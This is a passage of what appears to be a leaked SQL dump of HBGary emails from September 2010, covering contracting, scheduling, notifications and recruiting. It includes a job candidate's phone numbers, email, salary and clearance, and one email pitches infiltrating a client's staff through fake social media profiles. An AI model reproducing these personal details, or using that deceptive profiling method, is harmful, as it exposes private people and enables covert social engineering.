ted@hbgary.com\r\n',9573,'aaron_hbgary_com/9573.html'),(11250,'2010-09-03','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008575.M896716P14101Q6105.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I2S','\r\n\r\n\r\n\r\n\r\nRE: I2S\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI\'ve pass your information to the i2S PM Ann McClosky. I have not gotten a chance to get anyone else cleared due to vacations.&nbsp; I\'ll see what I can do on Monday.&nbsp; Also still have not seen Teds paperwork.\r\n\r\nChris&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 9/2/2010 4:05 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: I2S\r\n\r\nHey Chris,\r\n\r\nAnything new on getting us on this contract vehicle?&nbsp; Is it possible to get Mark recleared with the customer?&nbsp; Did you ever get Eric cleared?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',11441,'aaron_hbgary_com/11441.html'),(11251,'2010-09-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008576.M119133P14101Q6106.eml','\"Aaron Barr\" <aaron@hbgary.com>','Do you need me at CINDER on 9/9?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI can do another appt that day.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14649,'aaron_hbgary_com/14649.html'),(11252,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008576.M352636P14101Q6107.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Do you need me at CINDER on 9/9?','Yes please.  Maria has scheduled a us cert meeting that day have to find out what time.Sent from my iPhoneOn Sep 2, 2010, at 10:56 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI can do another appt that day.\r\n\r\n \r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',41,'aaron_hbgary_com/41.html'),(11253,'2010-09-03','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008576.M630916P14101Q6108.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Calvin has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Calvin are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Calvin Smith \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           at\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Calvin\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Defense &amp; Space Industry \r\n                        \r\n                        \r\n                          smithc95@verizon.net\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Calvin\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Northrop Grumman Information Systems\r\n                    \r\n                      Calvin works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Hewlett-Packard\r\n                    \r\n                      Calvin knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Oracle\r\n                    \r\n                      Calvin knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     IBM\r\n                    \r\n                      Calvin knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',4905,'aaron_hbgary_com/4905.html'),(11254,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008576.M878304P14101Q6109.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Social Media Training','Daniel,\r\n\r\nThinking a bit after our talk.  One thing to consider when looking at the training options.  If you want to incorporate a social media penetration test with an information exposure report and this content wrapped into the training think about timelines.  It takes a bit of time to build the targeted capabilities and execute a social media penetration test.  This entails doing social reconnaissance on the target and then developing a set of profiles and maturing them towards the objectives.  The report will have all the information I was able to glean from personnel, programs, organizational structure, etc.  All using commercially available social media platforms, so no exploitation of your corporate infrastructure.\r\n\r\nIf you want to wrap this as part of the training we could negotiate the price for the training and put us on contract to start this work now as we wait to figure out the training schedules.\r\n\r\nMaturing social media profiles and exercising the objectives takes time depending on the objectives you would like to achieve.  I would allow for 4-8 weeks.  This is not full time work but a set number of hours spread over this timeframe.  You can\'t move too fast or that raises flags.\r\n\r\nAaron',7684,'aaron_hbgary_com/7684.html'),(11255,'2010-09-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008577.M349694P14101Q6111.eml','\"Aaron Barr\" <aaron@hbgary.com>','Like the idea of early property ownership','Aaron,\r\nI like your idea that a player owns property early in the progression\r\ncycle.  Not sure exactly why, but maybe because property ownership is\r\nso closely tied to our real life location tie INS so far.  In fable ii\r\nthe main hero owns a wagon in the gypsy camp after the starting quest\r\nis over.  Early property ownership gets the play into the economics of\r\nthe game early.  Aside from property, the only other progression is\r\nhero development, gear etc.\r\n\r\nGreg\r\n',16120,'aaron_hbgary_com/16120.html'),(11256,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008577.M779613P14101Q6112.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: WILLIS C. MCDONALD II','No worries.  What time can you do ?Sent from my iPadOn Sep 2, 2010, at 6:38 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nHi Aaron.  Sorry I didn&#39;t have time today.  If we keep it to a similar window I can talk tomorrow morning.On Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nDo u have 16 minutes today?\r\n\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!He said he&#39;s home all day today.\r\n\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n&lt;image.png&gt;\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',5806,'aaron_hbgary_com/5806.html'),(11257,'2010-09-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008577.M79828P14101Q6110.eml','\"Aaron Barr\" <aaron@hbgary.com>','Play pocket legends too','Pocket legends is an iPad mmo.  The graphics are lower quality than\r\ntorchlight but I think you will be interested in the game play.  There\r\nis a free version to try it.\r\n\r\nG\r\n',11735,'aaron_hbgary_com/11735.html'),(11258,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008578.M2140P14101Q6113.eml','\"Dean Lindstrom\" <deanl@cyberstrom.com>','Re: introduction','Hi Dean,\r\n\r\nHere is a pretty specific list from the customer.\r\n\r\nThanks\r\nAaron\r\n\r\nSenior “Security conscious” Windows architect/implementation engineer\r\nDesirable Certifications:-	MCSE Security on Windows Server 2003-	S+/CISSP\r\n-	Microsoft Certified Architect (MCA) in Exchange Server/Directory/-	Microsoft Certified Master\r\nTerm of Project  - 3 to 6 months depending on scope of workKey Responsibilities – -	Architecting our future Windows environments and integration with MOSS 2010/Exchange 2010/SCCM/SCOM and other corporate Windows services\r\n-	Designing and implementing secure infrastructureSecret Security Clearance is desirableAbility to architect securely to defend against newer threats including APT&#39;s is desirable\r\nSent from my iPadOn Sep 2, 2010, at 10:11 AM, Dean Lindstrom &lt;deanl@cyberstrom.com&gt; wrote:&lt;smime.p7m&gt;\r\n\r\n',6598,'aaron_hbgary_com/6598.html'),(11259,'2010-09-03','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008578.M275265P14101Q6114.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com','Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nGatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Occurs every day effective 9/3/2010 until 9/28/2010 from 9:00 AM to 9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference:\r\n=============================\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036\r\nUse the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad\r\nTo install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8\r\n\r\n*Blackberry : 888-621-9644x8211036 \r\n\r\nTo connect with your *TELEPHONE ONLY* (no computer):\r\n==============================================\r\n1. Dial the number of the location closest to you:\r\n*  ManTech Conference Number:  1-888-621-9644 (Toll Free:  yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2. When prompted, enter the Event Number:  8211036 \r\n\r\n3. While connected:\r\n    - To mute/un-mute your phone, dial *6\r\n    - To learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',15187,'aaron_hbgary_com/15187.html'),(11260,'2010-09-03','arc@westfields.net','/aaron@hbgary.com/new/1297008578.M604556P14101Q6115.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Thursday, 09/02/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7910,'aaron_hbgary_com/7910.html'),(11261,'2010-09-03','\"Yammer\" <yammer@yammer.com>','/aaron@hbgary.com/new/1297008579.M232383P14101Q6117.eml','aaron@hbgary.com','Activate your Yammer account','\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n          \r\n        \r\n        \r\n          \r\n            Please click the link below to activate your Yammer account:\r\n\r\nhttps://www.yammer.com/activate/1g6tm-dmx85rk5l3ckijz6k2sz6x3ei?e=2&m=160319301\r\n\r\nThank you,\r\nThe Yammer Team\r\n\r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n                      \r\n        \r\n      \r\n    \r\n  \r\n\r\n  \r\n',8804,'aaron_hbgary_com/8804.html'),(11262,'2010-09-03','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008579.M3961P14101Q6116.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','I could do 09:30 or 10:00.On Fri, Sep 3, 2010 at 4:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNo worries.  What time can you do ?Sent from my iPadOn Sep 2, 2010, at 6:38 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nHi Aaron.  Sorry I didn&#39;t have time today.  If we keep it to a similar window I can talk tomorrow morning.\r\nOn Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nDo u have 16 minutes today?\r\n\r\n\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\n\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!\r\nHe said he&#39;s home all day today.\r\n\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\n\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\n\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\n\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\n\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\n\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\n\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\n\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\n\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n\r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\n\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\n\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\n\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for 